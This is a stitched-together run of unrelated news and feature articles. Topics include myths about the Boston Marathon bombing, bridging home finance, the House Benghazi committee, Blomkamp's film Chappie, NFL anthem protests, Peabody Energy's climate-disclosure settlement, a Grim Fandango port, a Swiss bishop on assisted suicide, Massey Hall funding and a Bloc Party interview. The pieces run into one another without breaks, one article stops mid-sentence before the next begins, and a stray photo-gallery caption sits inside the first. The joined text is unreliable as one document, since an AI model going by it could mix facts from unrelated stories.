This is hard to believe. In 2011, Russian officials alerted the FBI to Tamerlan’s growing radicalism and asked it to monitor his travel. Though the FBI interviewed him, it didn’t stop him from traveling. A Boston agent at the Joint Terrorism Task Force received an alert from the Department of Homeland Security about Tamerlan’s flights to and from Dagestan in 2012, but Tamerlan wasn’t questioned at the airport. A similar tip Russia shared with the CIA later that year was overlooked because of a spelling error.
Local police failed, too. After the bombing, Tamerlan was implicated in a triple murder committed in Waltham, Mass., on Sept. 11, 2011. (Erik Weissman, one of the victims, was my friend.) The day the bodies were found, a Middlesex district attorney said that “it does look like the assailants and the decedents did know each other”; soon after the marathon attack, the office said that its investigation into the killings had been “thorough” and “far-reaching.” Yet, though Tamerlan was one victim’s sparring partner and several friends gave police his name, officers never followed up.
2. Crowdsourcing helped the investigation.
In an interview with CBS, Richard DesLauriers, the former head of the Boston FBI, stood by the decision to release photos of the alleged bombers. “These individuals could have had more bombs and could have set those bombs off,” he said.
But when the FBI released the grainy images of the two suspects, chaos ensued. A few hours after their pictures appeared, the Tsarnaevs allegedly shot a Massachusetts Institute of Technology police officer to death, hijacked a car and threw homemade grenades at police. The next day, as the younger Tsarnaev hid in a boat, the city was locked down.
Had the FBI — which, remember, interviewed Tamerlan in 2011 — done its homework, it wouldn’t have needed to ask the public for help. After the Monday bombing, the Tsarnaevs hung around town. Dzhokhar spent Wednesday at his dorm at the University of Massachusetts at Dartmouth tweeting Eminem lyrics, going to the gym and hanging out at a party. The brothers could have been quietly arrested.
Even before the photos were released, would-be sleuths on Reddit.com undertook their own misguided investigation, scrutinizing images of the marathon crowd. “Find people carrying black bags,” wrote one unnamed moderator on the Web site. “If they look suspicious, then post them.” Some wrongly suspected a 22-year-old Brown University student who had been missing for a month. Commenters trolled his missing-person Facebook page, and news vans showed up at his family’s home, but he was found dead in a river one week later. Reddit had to apologize.
1 of 18 Full Screen Autoplay Close Skip Ad × Myths of 2014 View Photos Fact or fiction? A collection from Outlook’s popular Five Myths series. Caption Fact or fiction? A collection from Outlook’s popular Five Myths series. MYTH: Sanctions never work. “The most complete academic studies on the matter show that sanctions lead to concessions from the targeted government in one out of every three or four cases,” writes Daniel W. Drezner in “ Five myths about sanctions. “That is a far cry from never working.” Here, President Obama and German Chancellor Angela Merkel leave a joint news conference at the White House in May. The leaders discussed additional sanctions to punish Russia for its incursion into Ukraine. Charles Dharapak/AP Buy Photo Wait 1 second to continue.
3. The Tsarnaevs acted like other homegrown terrorists.
Former New York police intelligence analyst Mitchell Silber says the Tsarnaevs would not have eluded authorities had Boston adopted New York’s controversial surveillance program that monitors Muslims. He noted common warning signs of radicalization, saying, “These individuals gave up their old habits, they gave up their old friends,” Silber told CNN. Tamerlan “gave up boxing because that was considered a secular activity.”
But according to associates I interviewed, Tamerlan still boxed with his old non-Muslim friends after his trip to Dagestan. Dzhokhar, meanwhile, exhibited no warning signs at all. In fact, three days before the bombing, Tamerlan and Dzhokhar were at a mixed-martial-arts gym. “All you need is boxing,” Tamerlan told one man I interviewed who saw him there that day.
In a 2011 report, Faiza Patel of New York University’s Brennan Center for Justice argued against the idea that “the path to terrorism has a fixed trajectory.” We can’t fight terrorism with information about workout habits.
4. The FBI’s shooting of Tamerlan’s friend was justified.
In May 2013, Ibragim Todashev, who may have committed the Waltham murders with Tamerlan in 2011, was shot to death after attacking an FBI agent during questioning in Florida. The FBI, the Justice Department and a Florida prosecutor later ruled that the agent had acted appropriately. But while the agent may have had to shoot Todashev, neither he nor the two Massachusetts state troopers with him should have interviewed a professional fighter with a hair-trigger temper in his own apartment for five hours.
“You don’t have to work on the bad guys’ schedule,” former FBI agent Michael German told me, saying the interview should have been conducted in a more secure location. “What detectives and FBI agents have is time.”
Once in Todashev’s home, his questioners didn’t behave responsibly. They didn’t bring enough batteries for their recording devices, so they used their phones — until a state trooper in the room started texting. Such recklessness put the officers and Todashev — who was shot seven times, including twice in the back, after he threw a coffee table at the FBI agent — at risk. Worse, it prevented the public from understanding Tamerlan’s affiliations.
5. Massachusetts wants Dzhokhar to get the death penalty.
Attorney General Eric H. Holder Jr. is seeking capital punishment for the alleged Boston bomber, and few Massachusetts politicians have spoken out against his ruling. Sen. Elizabeth Warren, Sen. Ed Markey, state Attorney General Martha Coakley and Boston Mayor Marty Walsh support Holder’s decision, while Gov. Deval Patrick dodged the topic. “One way or another,” he said, “Tsarnaev will die in prison.”
But this doesn’t reflect public sentiment — or the sentiment of some politicians who are remaining silent.
According to a Boston Globe poll, 57 percent of Massachusetts residents are in favor of Dzhokhar receiving a life sentence rather than death, and the paper has penned editorials against the death penalty in this case. Patrick, Coakley and Walsh were all elected on anti-death-penalty platforms. Even Holder says he is personally opposed to capital punishment.
Meanwhile, no one has been executed in Massachusetts since 1947, and capital punishment was found unconstitutional in the state in 1984. When future presidential candidate Mitt Romney tried to reinstate the death penalty in 2005 as governor, he failed.
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"Closed-ended" bridging finance is traditionally used when there is a short, known gap between the purchase of a new family home and the sale of current one, and a fixed date at which the borrower knows the bridging finance will be paid off.
It's expensive, short-term financing the banks aren't that keen on, so it falls to the likes of finance companies, arranged by mortgage brokers.
But so hot is the market that home-owners looking to trade up do not fear being stuck with two homes if they can't sell.
What they fear is that if they sell their current home before buying a new one, they could find themselves trapped out of the market by rapidly-rising prices.
That means they are happy to have open-ended bridging finance where there's no agreed end date for the bridging finance to be repaid.
Mortgage lending finance company Cairns Lockie said: "We are receiving an increasing number of enquiries about open ended bridging. This is where you have decided on the new property that you wish to purchase, but have not sold your existing one."
"More people are looking at this type of finance, because if you sell your family home, it can be difficult to find something that you are entirely happy with, in a limited timeframe. The solution is to bridge the purchase and sale period - to enable you to purchase exactly what you want, with a reasonable amount of time then available to sell your existing property."
Mortgage brokers Campbell Hastie from the Go2Guys said it was becoming a more common strategy, and he backed it. "I'm suggesting, if you own a house already, and you want to move for whatever reason- an extra bedroom, or a different school zone, then what you should probably do in the current markets is buy a place first, and sell your place second."
"If you sell first, you are a cashed up buyer, but if you fail to find a place, or beat off other bidders, then it is capital gains down the drain."
"It's no problem to sell a house in this market, but there is to find one, and to beat off the competition," he said.
Hastie said he had seen the results of selling first, and then being unable to buy.
"I have a friend in this situation," he said. "He sold his place for $650,000. The thing is, it would be worth $800,000 now. In a year, he has gone backwards to the tune of $150,000."
The return he has made on the money in the bank is tiny compared to the amount prices had risen while he was looking for a new place.
Open-ended bridging finance was not the only option in this situation. It was sometimes possible to cut deals with banks, depending on the size of the loan, and whether the income of the borrowers, and the rent they could charge on their old home, was sufficient to service the loan.
William Cairns from Cairns Lockie said the cost of its open-ended bridging finance, which was secured against both the property that was bought and the one that was to be sold, was 11.95 per cent.
Often people liked the fact they then had no pressure on selling the house in a short time-frame.
"That's really nothing for a month, if you are getting a higher price for your home," he said.
The higher interest rates charged on bridging finance send a signal to the borrower that it is higher-risk debt than ordinary home loans, and if they are not able to sell, then they will end up with a lot of debt to service.Former Defense Secretary Leon Panetta and ex-CIA Director David Petraeus will be interviewed this week in a pair of closed-door sessions of the House’s Select Committee on Benghazi, the panel announced on Monday.
Petraeus will answer questions on Wednesday. Panetta, who also served as head of the CIA before taking the reins at the Pentagon, will appear before the committee on Friday.
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Committee Republicans have long denied allegations that they are bent on a purely political mission to smear former Secretary of State Hilllary Clinton, rather than being motivated by a desire for the facts surrounding the 2012 terror attack in Benghazi, Libya.
Critics of the panel’s work have pointed to its months of vigorous questioning of State Department figures close to Clinton, rather than national security figures including Panetta and Petraeus. The two men’s presence before the panel comes more than 19 months after it was created by then-House Speaker John Boehner (R-Ohio).
A Republican committee spokesman on Monday appeared to blame the committee's prolonged efforts on the Obama administration, which opponents say has stonewalled its investiagtion.
“While we are still waiting to receive crucial documents from the State Department and the CIA, and still waiting for important witnesses to be made available, the committee is diligently working to complete its thorough, fact-centered investigation and release a report with recommendations within the next few months,” spokesman Matt Wolking said in a statement.
“The American people and the families of the victims deserve to know the truth about what happened before, during and after the 2012 Benghazi terrorist attacks, and we must do everything we can to prevent similar tragedies from happening in the future.”
Democrats have opposed the existence of the special committee since it was created in 2014. Two GOP lawmakers and one former Republican committee staffer added fuel to the fire last year, by claiming that a core goal of the committee was to tear down Clinton’s presidential ambitions.
Committee Republicans have forcibly pushed back. GOP leaders faced tough pressure to unveil a smoking gun during Clinton’s marathon, 11-hour testimony in October, but failed to present damning evidence that she had fallen down on the job or severely misled the American public.
In addition to Panetta and Petraeus, the committee will also interview Charlene Lamb, a former State Department official in charge of diplomatic security, and ex-Pentagon chief of staff Jeremy Bash. Those interviews, on Jan. 7 and 13, will also occur behind closed doors.
Bash has never been interviewed by any of the seven other congressional committees that have previously investigated the 2012 attack in Benghazi, the committee said.
Of the 64 witnesses interviewed by the Benghazi panel last year, Wolking said, 53 had never been previously interviewed by Congress.From his earliest short films, filmmaker Neill Blomkamp has shown an uncanny ability to fuse the low-fi and the high-tech. His first feature, the Oscar-nominated District 9, did just that, while also matching incisive social commentary with huge sci-fi guns and exhilarating action.
Those now familiar themes and styles are again present in Blomkamp's latest film, Elysium, due out in August. Starring Matt Damon, it's about an injured factory worker trying to find a way onto an orbiting space platform that is home to the rich and powerful. In the process, he becomes drawn into a wider struggle that involves Jodie Foster's glacial Secretary Delacourt, and a ferocious assassin played by Sharlto Copley.
Interest in Blomkamp's films is such that there's already talk about what might come next. For the past year, all we've really known about Blomkamp's next film is that it's called Chappie, that he'll be writing it with District 9 co-writer Terri Tatchell, and that Sharlto Copley will be starring in it. In July last year, Blomkamp told Empire that Chappie is "comedy based" and features a "ridiculous robot character."
Other than that, little's been said about Blomkamp's next movie - until now, that is.
We had the chance to have a brief chat with Blomkamp recently, and we asked him about his science fiction influences, particularly from such Japanese artists as Masamune Shirow. After all, the rabbit-eared robot in one of Blomkamp's first and most well-known short films, Tetra Vaal, looks quite a lot like the cyborg Briareos Hecatonchires in Shirow's 80s manga series, Appleseed.
It was during this conversation that Blomkamp revealed something rather exciting: Chappie is, in his own words, "basically based on Tetra Vaal."
This means that, just as the 2006 short Alive In Joberg formed the genesis of District 9, so Chappie will expand on the ideas in 2003's Tetra Vaal. If you haven't seen Tetra Vaal before, here it is:
Taking the form of a faux corporate marketing video, Tetra Vaal introduces a form of robot law enforcer that is specifically designed to patrol third-world countries. "What if we could build a system to help police of developing nations?" the onscreen blurb reads. "What if it could be rebuilt and improved upon?"
This is almost certainly the "ridiculous robot character" Blomkamp talked about in that earlier interview - and we know the version we'll see in Chappie will retain one of his distinctive features: those twitching rabbit antennae. "You'll see some more Briareos ears," Blomkamp revealed.
Although this is by no means confirmed, IMDb lists Ninja |
solidarity during the playing of the Star-Spangled Banner. The two teams were playing in one of four NFL London games this season – designed to raise awareness of the League overseas. The players and coaches ensured that awareness included their solidarity with the Black community in the United states.
Professional athletes are taking up the struggle on an unprecedented scale, standing against racist oppression, and encouraging others to do the same. While they are not the first, (we can recall Muhammad Ali, John Carlos and Tommie Smith, and the players across the WNBA protesting the murders of Alton Sterling and Philando Castile in 2016,) the ability of these Black players and coaches to not only raise Black national consciousness across all social classes, but draw on the solidarity of their anti-racist teammates and coaches – and in society at large – signals the emergence of an untapped power. Amidst a flurry of merciless attacks from the right wing, they are standing up to reach into millions of living rooms and impact millions of opinions. And they are doing so en masse.
As Donald Trump, President of the United States, repeatedly calls for players to be “fired,” more and more are joining the ranks of a movement launched last year by Colin Kaepernick. NFL stars Davante Adams and Martellus Bennett were among the athletes who publicly countered Trump’s attacks – calling out his racist hypocrisy. Adams and Bennett both play for the Green Bay Packers, the only nonprofit, community-owned professional sports team in the United States. The movement is helping to draw such clear lines and reveal such overt racism that even NFL Commissioner Roger Goodell and Trump supporter Robert Kraft, owner of the New England Patriots, condemned Trump’s attacks.
This powerful tactic is building a movement across professional sports. When Trump heard star point guard Stephen Curry of the NBA Champion Golden State Warriors did not want to accompany his team on the traditional visit to the White House due to disagreements with Trump’s policies, Trump Tweeted a “disinvitation.” The Warriors promptly issued a statement saying they wouldn’t visit the White House, but rather would use their time in Washington, D.C. for community service. This is not the first time players have skipped a visit. Earlier this year, some players from the New England Patriots did not attend the traditional visit to the White House, although many did not state an official reason. But the Warriors’ position shows a new level of solidarity.
And the movement is growing. Saturday night, Oakland Athletics catcher Bruce Maxwell knelt, as teammate Mark Canha placed a hand on Maxwell’s shoulder in solidarity. Maxwell, whose father is a veteran of the U.S. Army, became the first Major League Baseball player to do so. NFL players and coaches are expected to continue to take a knee throughout Sunday and Monday. And today’s Sunday Night Football Game will see perhaps an almost poetic matchup between Oakland and Washington. Oakland has the only all-Black offensive line in the league, which is expected to kneel in its entirety. Their opponent, Washington, has a history of being one of, if not the most racist team in the league (Washington was the last NFL team to desegregate and continues its racist legacy in the refusal to change the team’s name and mascot).
This movement and these players have shown clearly and unequivocally how speaking up and standing up can raise consciousness. In living rooms and at water coolers across the country, there are debates about police violence, patriotism, and how a head of state defends the free speech rights of white nationalists – Nazis – but condemns the free speech of Black athletes. In consciousness there is solidarity and strength to fight back. On Sunday, legendary entertainer Stevie Wonder also knelt before performing at the Global Citizen Festival in Central Park. We are hopeful that the number of prominent people speaking up and acting will continue to grow.By Taylor Kuykendall
Peabody Energy Corp., the largest U.S. coal producer, has struck a deal with the New York state attorney general's office that forces the company to tweak its disclosures of risks arising from climate change policies.
An investigation by the state began in 2007 with Peabody at first calling the investigation of then-Attorney General and current Gov. Andrew Cuomo an effort to "promote a political message." New York Attorney General Eric Schneiderman said in a Nov. 9 announcement that the settlement requires the company to disclose projections it has made on the impact of certain laws, regulations and policies on its business, including various projections for the future of coal.
The settlement also prevents the company from suggesting it cannot reasonably project the impact of future laws, regulations and policy related to climate change. It also forces the company to include the International Energy Agency's two less favorable projections for coal demand alongside one that only examines climate policy status quo excluding future policies believed to be imminent by the IEA.
"As a publicly traded company whose core business generates massive amounts of carbon emissions, Peabody Energy has a responsibility to be honest with its investors and the public about the risks posed by climate change, now and in the future," Schneiderman's release said. "I believe that full and fair disclosures by Peabody and other fossil fuel companies will lead investors to think long and hard about the damage these companies are doing to our planet."
Peabody has been regularly disclosing an ongoing investigation from the office since an initial 2007 subpoena related to its involvement in the construction of a coal-fired power plant. The investigation received renewed attention when it was mentioned in a Nov. 5 New York Times article focused on a new investigation being launched by the office into claims that Exxon Mobil Corp. lied to investors about how much risk climate change may present to the oil industry.
According to Schneiderman, the office began an investigation into Peabody's financial disclosures in securities filings in 2013, though Peabody has appeared to connect the current attorney general's effort to "an extensive eight-year investigation" that began in 2007. Schneiderman said the investigation found Peabody "repeatedly denied" in its financial filings "that it had the ability to predict the impact that potential regulation of climate change pollution would have on its business, even though Peabody and its consultants actually made projections that such regulation would have severe impacts on the company."
"For example, Peabody internally projected that if specific aggressive regulatory action was implemented on existing power plants and future electricity generation in the United States, it would reduce the dollar value of coal sales in its primary United States markets by 33% or more," the release states. "Peabody also hired an outside consulting firm, which in March 2014 projected that enactment of a $20 per ton carbon tax would reduce the demand for coal as a fuel source in electric power generation in the United States in 2020 by between 38% and 53% compared to 2013 levels."
The attorney general also found that Peabody has presented "incomplete and one-sided discussions" of the findings and projections of IEA by only using the agency's "current policies scenario." When mentioning other scenarios, the release said Peabody did not disclose that the current policies scenario is not IEA's central scenario.
"The company has previously stated that it cannot predict the impact of potential laws or regulations on Peabody due to the uncertainty surrounding those predictions," Peabody said in a Nov. 9 statement. "Nonetheless, the company has agreed that any future statements concerning the difficulty of making particular projections or predictions shall be accompanied by a statement that Peabody has made projections of the impact of scenarios involving certain potential laws and regulations relating to climate change or coal, which could result in materially adverse effects on its markets or company. To evaluate risks and allocate capital, Peabody has examined the potential impact of hypothetical future laws on coal markets."
While the attorney general's release is headlined that Peabody must "disclose risks arising from climate change," the settlement itself does not address direct impacts of climate change, which many companies across a broad range of industries include in disclosures. Instead, the settlement addresses only the projections of impact climate policy may have on coal demand, and thus Peabody's business.
The investigation specifically accuses Peabody of violating New York's Martin Act and Executive Law, which "prohibit false and misleading conduct in connection with securities transactions." Peabody has denied accusations that its disclosures were illegal.
Peabody was disclosing many risks related to climate change concerns and its effect on investor sentiment toward the industry. For example, in its last Form 10-K, filed in February, Peabody includes an entire section on climate risks that addresses potential state and federal legislation, divestment campaigns, decisions by financial institutions to stop funding coal projects and international climate agreements.
"The company has always sought to make appropriate disclosures," Peabody said in a statement.
Coal's climate conundrum
"This is just the tip of the iceberg," Jamie Henn, a spokesman for fossil fuel divestment promoter 350.org told SNL Energy. "The Peabody settlement is going to kick open the door for a whole new wave of activism and investigations looking at how companies are or aren't disclosing their climate risk. It's the fossil fuel industry's nightmare scenario: real, consistent public accountability for the damage they're causing."
Henn said in a statement that the announcement was a "small settlement that will make a huge impact." He predicts that, in a major win for the fossil fuel divestment effort, investors will start moving faster to dump their investments in fuels such as coal, oil and gas.
In June, Greenpeace International filed a letter with the U.S. SEC alleging that CONSOL Energy Inc.'s filings in support of spinning out its Pennsylvania thermal coal operations into a master limited partnership contained "incomplete and misleading" disclosures as well. The complaint was similar to that against Peabody in that Greenpeace was accusing CONSOL of misusing U.S. Energy Information Administration outlooks, relying on outdated Wood Mackenzie reports and exaggerating the quality of their customer base.
While CONSOL dismissed Greenpeace's accusations as "ideologically motivated," the company soon tempered its outlook on the future of coal markets in subsequent filings. Among other changes, CONSOL had updated the Wood Mackenzie forecast, dramatically cutting the predicted room for growth in the coal market.
The coal industry has taken a somewhat mixed view on climate science and the need for policy to address climate change. In a 2014 survey of coal companies by SNL Energy, none of the then-16 leading coal producers would return a request for answers on a few basic questions on climate change and climate policy submitted to their executives.
Cloud Peak Energy Inc. sent SNL Energy a written statement acknowledging climate change as a "political reality." Arch Coal Inc. pointed to a statement on the U.S. EPA's Clean Power Plan that, while not taking a position on climate change science, did warn that climate policies put the economy at risk and urged investment in technologies to pursue a "rational way forward for addressing climate concerns."
Peabody said it believes coal does have a future and it lies in technology as a "bridge to a low-emissions future" as global electricity demand rises. The company claims it has been "among the most vocal companies worldwide in advocating clean coal technologies, including greater deployment of high-efficiency low-emissions coal-fueled plants and development of next-generation carbon capture, use and storage technologies."
Peabody is also backing a campaign called " Advanced Energy for Life," a public relations effort touting coal as a solution to global energy poverty. While Peabody claims that the low-cost nature of coal makes it ideal for electrifying third world countries, critics of the program have denounced it as an "all talk, no action" ploy to influence public opinion and policy. They also claim it goes overboard in conflating the benefits of coal with the benefits of electricity when alternative energy sources are available.
In its recent release, Peabody touted its role as the only non-Chinese equity partner in GreenGen, an integrated gasification combined cycle plant in China expected to add carbon capture controls, and other programs for advancing cleaner ways to burn coal. Peabody did not mention FutureGen 2.0 — a carbon capture project on which it served as a major backer — which was recently shelved after a long list of delays and challenges led the government to pull the project to "best protect taxpayer interest."
Peabody's settlement does not include an admission or denial of wrongdoing and includes no financial penalty. The company said disclosures "evolve over time" and its third-quarter Form 10-Q will address the matters raised by the New York attorney general.Some games from the late 90s have not aged well, and that's completely irrespective of the dated visuals of the era. Sensibilities are different now, and we expect different things from a top tier game. Grim Fandango, on the other hand, is still widely regarded as a masterpiece. Now you can play the remastered version on Android courtesy of Double Fine Productions.
In Grim Fandango, you follow the exploits of Manny Calavera, travel agent in the land of the dead as he seeks to unravel a spooky mystery. This is a game filled with dark humor and fantastic writing. To this day it pops up on lists of the best games of all time.
The original game took an interesting approach to graphics with pre-rendered backgrounds done in a film noir style and 3D character models interacting in the foreground. All the graphics have been repainted for the remastered edition and the music has been re-recorded with a full orchestra.
This is the sort of game that doesn't come to mobile devices very often, and it has a premium price tag. The regular price is $14.99, just like the recently released PC version. To celebrate the launch, Grim Fandango Remastered is on sale for $9.99.A Swiss bishop has instructed Catholic priests not to give last rites to people suspected of seeking assisted suicide, following a sharp rise in the practice in his country.
“It is increasingly difficult to take the right decisions in the face of death – there’s even a sense of helplessness,” said Bishop Vitus Huonder of Chur.
“The readiness of a suffering patient to commit suicide with help from a bystander places any priest in an impossible situation if called to administer sacraments. Under such conditions, their reception is impossible – all a priest can do is offer a prayer of intercession and commend the dying to God’s mercy.”
In a pastoral message for Human Rights Day the bishop said contemporary society was “showered with random data” and often showed a “frightening superficiality towards moral issues.”
However, he added that Church teaching was clear that medical treatment should “respect life as well as death,” and not “impair the natural process of dying.”
“Medicine’s modern possibilities have made us increasingly dependent, especially if no longer capable of judgment, on qualified persons in the last stage of our existence,” said Bishop Huonder, who is also apostolic administrator of Zurich.
“But from a Christian viewpoint, life and death are in God’s hands – we do not decide about them for ourselves. Suicide, like murder, contradicts the divine world order.”
Catholics traditionally make up 44 per cent of the 7.1 million inhabitants of Switzerland, whose six dioceses combine German, French and Italian speakers.
Euthanasia is permitted under Swiss law, if “not motivated by egotistic considerations,” and has increased rapidly, according to a report by Neue Zurcher Zeitung. The daily said 999 euthanasia deaths were legally recorded in 2015, up 35 per cent from the previous year, adding that a “change of values in society” had made the practice “a new normality.”
In his message, Bishop Huonder said improved palliative care had raised “medical, social, humanitarian, religious and pastoral questions,” while death should not be “delayed irresponsibly” through “therapy at any price.”
However, he said a “widespread change of attitudes in society” had created pastoral difficulties for clergy, as euthanasia organisations stressed the right of patients to choose when to die.
“The administration of sacraments of penance, anointing and the Eucharist is a source of comfort to the seriously ill and dying,” said Bishop Huonder. “However, it is the grave duty of a priest in pastoral charity to discourage self-destructive projects outside the scope of eternal salvation, and to help patients to understand and obey the will of God.”
Assisted dying and voluntary euthanasia have also been legalised in Belgium, the Netherlands and Luxembourg and are the subject of legislative initiatives in several other European countries.
In a statement, Switzerland’s Zurich-based Dignitas clinic, which gives lethal injections to fee-paying customers, accused Bishop Huonder of “spreading contradictions” and said many terminally ill patients would “die much earlier” if their fate was left to “God’s omnipotence.”
The company added that the European Court of Human Rights had ruled in 2011 that individuals had a right, if “able to form an opinion freely and act accordingly,” to decide “how and at which time their life is to be ended,” and said Dignitas allowed patients of all faiths to “involve clergy in their personal process toward dying.”
The Catechism of the Catholic Church says medical treatment can be legitimately withdrawn when “burdensome, dangerous, extraordinary or disproportionate.”
It notes, however, that intentional euthanasia, “whatever its forms or motives, is murder.”Province Investing in the Revitalization of Historic Massey Hall
Preservation and Restoration of Iconic Venue is Music to the Ears of Ontario Fans
August 8, 2017 11:30 A.M. Ministry of Tourism, Culture and Sport
Ontario is investing in the revitalization of Massey Hall, the site of many historic cultural performances and experiences, to ensure it continues to engage and entertain people for years to come.
Eleanor McMahon, Minister of Tourism, Culture and Sport, and Charles Sousa, Minister of Finance, were joined by JUNO award-winning band July Talk at Massey Hall this morning to make the announcement.
Ontario is supporting the restoration of the interior and exterior of the historic venue and planning for a future tower connected to the south of the building. This project will ensure that Massey Hall -- which has hosted artists from Glenn Gould to Neil Young and Bob Dylan to Justin Bieber over its 123-year history -- continues to host many more iconic performances and enrich peoples' lives for generations to come.
The province previously provided support for Massey Hall renovations, including the construction of a foundation for the new south tower.
Quick Facts Ontario is investing $4 million in phase two of the revitalization of Massey Hall.
Ontario previously invested $8 million in phase one of the revitalization of Massey Hall.
Massey Hall’s revitalization is a seven-year multi-phased project. To complete the project, it will close temporarily between summer 2018 and fall 2020. It will continue to operate until then.
Built in 1894, Massey Hall was designated a heritage property under the Ontario Heritage Act by the City of Toronto in 1975. The venue became a National Historic Site of Canada in 1981.
Massey Hall holds about 100 cultural events every year.
Through the Ontario Music Fund, Massey Hall has received support for “Live at Massey Hall,” a program designed to showcase new Canadian talent on Massey Hall’s stage for the first time.Judging a book by its cover seems like a far too simple solution, especially when an old favourite of yours suddenly shows up in a changed design. It’s easy to denounce the new BLOC PARTY as a lame rip-off or the desperate attempt to keep the economical successful indie formation running after drummer Matt Tong and bassist Gordon Moakes both left the group in the past two years. The forthcoming fifth album Hymns sees remaining founding members Kele Okereke and Russell Lissack at a turning point in the band’s biography. The odds seem to be against them, especially after the album’s first single The Love Within received mixed critics and even the first live shows with new members Justin Harris and Louise Bartle showcased the obvious struggle to combine past and future of BLOC PARTY within one set. It ain’t easy for Kele Okereke these days but on the other hand it never was.
The elephant in the room is omnipresent when I meet Okereke on a cold December night in Berlin. Before we talk about Hymns and the future we need to clear up a few things about the past to find out what went wrong in the aftermath of the group’s 2012 LP Four. He ows us an explanation. It turns out the problems date way back to when the band first went on a hiatus back in 2009, following years of non-stop touring, recording and releasing music. Those years felt like a rush in retrospect to Okereke and might have damaged the inner chemistry of the group to an irreparable degree. Four was an attempt to rejoice in a reduced and raw way, a simple and pure rock record of four friends performing in a room together. It turned out to sound that way but for Okereke it quickly became clear that it couldn’t be farther away from reality – the friendship was gone and so was his personal desire to record another pure and backward-sounding rock album.
From the outside I got the impression that ‘Four’ worked as a symbol of you guys renewing the energy and chemistry within the band. It felt as if BLOC PARTY were whole again but now I get the feeling that this was a wrong assumption from the start, right?
Kele Okereke: Yes, indeed. It was. I think it’s even more bittersweet when you point it out that way. We had all these ideas of what it’s gonna sound and feel like. But then quite quickly we realized that we haven’t changed as much as we thought we would, following the hiatus. We eventually all realized that this was the way it might always be like and I personally started to think: ‘Well, then I don’t actually want to do it.’ Once we parted ways with Matt things got a bit more positive.
Back then, following the release of ‘The Nextwave Sessions‘ and Russell’s hopeless-sounding hiatus announcement it really felt like the end of BLOC PARTY. Have you felt that too?
KO: The only time I thought we won’t make another record was back in 2013 when we were touring the States. The vibe wasn’t very good; it felt pretty negative and I know it needed to end. By that time, afterwards, we decided to part ways with our drummer. It took that decision for me to realize that I actually enjoyed touring and being on the road. I forgot about that fact. The problems were based on a personal level. Same went with our bass player which whom we parted ways afterwards as well.
‘Old’ Bloc Party found its natural conclusion
Was Matt’s departure the trigger that set Gordon’s decision in motion?
KO: When Matt left it all took us by surprise. We sensed that he wasn’t very happy but he had his own issues to deal with, so he needs to talk about, not me. With Gordon it was different. I sensed that after our final gig of the Four tour, back at the Lattitude Festival. Something happened on stage and I realized that this wasn’t going any further. It was a lack of respect and the day after Lattitude I spoke to my management and said: ‘If we want to carry on it has to be only Russell and I’. So, I spoke to Russell and he agreed, we spoke to Gordon and he agreed as well so it was a mutual decision.
Sounds to me as if it was a natural conclusion and that it took you the process of the last album and the tour to finally realize this…
KO: Absolutely. We had all these great intentions when we started working on Four. We wanted to be a certain type of band, capture that raw energy and all these ‘rock elements’. But quite quickly after we started touring I realized that I’m not that much into that kind of super heavy music. I don’t really like performing in such a ‘macho’-rockstar posture. That’s not really the guy I am. Maybe it was more what Gordon and Matt were into and I tried my best to fit in, to maybe keep BLOC PARTY alive at that time. I think Russell feels the same way as well.
Did Russell and you ever thought about getting rid of the name and just start a new band to make a clear cut?
KO:It was something that went through our heads for a short time but in the end it has always been Russell and me who wrote all the music and lyrics on those records. We did the same on Hymns, starting the ideas together and asking the others to contribute their thoughts later. The progress hasn’t changed that much. We felt that we were more BLOC PARTY than anybody else so there was no need to change the name.
When talking about what happened Okereke sounds very reflective but also destined to let bygones be bygones. We might never fully understand what went wrong but it looks like artistic indifferences played a big part and that their musical tastes just grew apart over the last years. Four turned out to be a one-off ‘accident’, it seems. Matt and Gordon are now happier in the traditional rock setting of ALGIERS and YOUNG LEGIONNAIRE while Kele and Russell continue BLOC PARTY in a progressive and forward-thinking kind that has always been their favourite way of creating new music. Okereke got no problems with those who accuse him of being the ‘dictator’ of the whole project anyway from the start with the other band members barely having any ‘rights’. It’s another far too easy assumption, although parts of it are true as he explains:
‘It was always my band, I always wrote the songs, did the interviews and had to stand up in front of the people. So, I am okay with it. In our band every musician had a very important role and I think that still is the case. I like bands were you can hear every musician and you’re not just focussed on the lead singer or stuff. I was always the guy who decided everything anyway so not much has changed.’
The rest of BLOC PARTY is okay with the course, especially bassist Justin Harris who wasn’t very happy with the basic democracy in his former band MENOMENA as Kele explains. ‘They were never able to make decisions and therefore eventually stopped being a band,’ he reports. ‘You need someone to lead this whole thing.’ More than before the charismatic frontman takes his role as the leader serious to give his band a chance to stay alive. Hymns is a direct counter reaction to what went wrong on Four. It was designed to sound more sensual, warm and a bit laidback. Kele transports the feeling of his 2014 solo LP Trick into the microcosm of his band, starting from scratch. Russell and him composed first ideas together on late 2014, sent over the files to Justin who lives in Portland so he could add his parts. ‘Later, we invited him over to rehearse with us and it felt pretty good,’ explains the singer. ‘At that point the studio ideas became more band ideas.’
Kele Okereke: ‘There is something in me that is holy’
While Harris is an old friend of the band the story with Louise Bartle is a different one since Okereke discovered the new BLOC PARTY in the internet where he immediately was impressed by her drumming skills. She adds an entirely different background to the equation as he points out:
‘She is 21 and therefore ten years younger than me which is quite a difference. She also doesn’t come from a rock’n’roll background, she was a session musician. That itself gives her a different attitude than being a writing musician. We needed to learn how to be a band to give her a fitting environment because we haven’t really done that.’
‘Hymns’ feels very intimate and calm, especially compared to the raw and loud ‘Four’ which dealt a lot with societal topics. Was that your intention?
KO: I don’t think it was intentional. There are moments of intimacy, relationships and how we deal with each other but for me it’s more a record about faith, about having a spiritual understanding as a human being. It’s not about a specific religious idea as I am not a Christian or whatever. There is something in me that is holy and the record was an attempt for me to understand and explain that. That’s why there are so many references to the earth, the sky, the stars and a lots of ‘going to the water’ because that’s where I personally feel most connected to something. I like being amongst nature; that’s when I feel the presence of god. I don’t need a church for that. Hymns is about my connection to whatever I consider sacred and that also includes sex, love and intimacy as well.
Did you first need to turn 34 to be able to finally express that spiritual feeling?
KO: There’s always been a spiritual dimension to the music I make. Let’s just take A Weekend In The City which had The Prayer as a lead single back then. We always had elements of that but turning 30 made me think about my life a bit more, what it means to be a human being and all these things. I somehow felt quite hollow after releasing Four. It didn’t felt like myself and knew that the next record had to come from an authentic place.
Is it hard for you to connect these new songs with the old band back catalogue as it to me feels a bit like you want to ‘run away’ from that past?
